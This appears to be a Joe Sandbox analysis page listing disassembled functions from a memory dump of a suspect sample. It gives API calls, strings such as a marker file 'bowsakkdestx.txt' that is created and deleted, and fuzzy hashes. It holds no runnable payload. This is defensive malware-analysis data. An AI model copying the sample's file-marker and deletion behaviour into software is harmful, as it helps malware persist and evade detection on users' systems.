Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422A87, 00422A9F, 00422AB8, 00422A3A, 00422A44

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 7bb19c27cc9a7f12da775c20c0529bba410bcf1f96fba2b77c3b0c0f0107ff1b
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 7bb19c27cc9a7f12da775c20c0529bba410bcf1f96fba2b77c3b0c0f0107ff1b
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 0cad0a123c859ebaf09cb5fb4221145e3795ca8d68ee32f64560b097eb098e8e
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 0cad0a123c859ebaf09cb5fb4221145e3795ca8d68ee32f64560b097eb098e8e
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

